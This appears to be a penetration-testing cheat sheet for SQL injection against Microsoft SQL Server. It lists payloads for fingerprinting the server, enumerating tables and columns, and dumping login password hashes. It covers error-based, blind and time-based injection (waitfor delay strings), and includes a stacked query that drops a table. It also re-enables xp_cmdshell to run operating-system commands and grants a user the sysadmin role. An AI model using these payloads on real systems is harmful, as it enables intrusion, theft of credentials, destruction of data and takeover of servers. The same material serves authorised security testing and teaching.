

# MSSQL Injection

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## MSSQL version

```
SELECT @@version
```

## MSSQL database name

```
SELECT DB_NAME()
```

## MSSQL List Databases

```
SELECT name FROM master..sysdatabases;  
SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
```

## MSSQL List Column

```
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- f  
or the current DB only  
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns xtype) FROM master..syscolumns, mast  
er..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='som  
etable'; -- list column names and types for master..sometable  
  
SELECT table_catalog, column_name FROM information_schema.columns
```

## MSSQL List Tables

```
SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views  
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';  
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns xtype) FROM master..syscolumns, mast  
er..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='som  
etable'; -- list column names and types for master..sometable  
  
SELECT table_catalog, table_name FROM information_schema.columns
```

## MSSQL User Password

```
MSSQL 2000:  
SELECT name, password FROM master..sysxlogins  
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to  
hex to return hashes in MSSQL error message / some version of query analyzer.)  
  
MSSQL 2005  
SELECT name, password_hash FROM master.sys.sql_logins  
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```

## MSSQL Error based

```
➤ For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + '
```

## MSSQL Blind based

```
➤ SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
```

## MSSQL Time based

```
➤ ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
```

## MSSQL Stacked Query

Use a semi-colon ";" to add another query

```
➤ ProductID=1; DROP members--
```

## MSSQL Command execution

```
➤ EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
```

If you need to reactivate xp\_cmdshell (disabled by default in SQL Server 2005)

```
➤ EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

## MSSQL Make user DBA (DB admin)

```
➤ EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```

## Thanks to

- Pentest Monkey – mssql-sql-injection-cheat-sheet (<http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet>)
- Sqlinjectionwiki – MSSQL (<http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/>)
- Error Based – SQL Injection ([https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20%20%20Order%20By%20clause%20\(MSSQL\).pdf](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20%20%20Order%20By%20clause%20(MSSQL).pdf))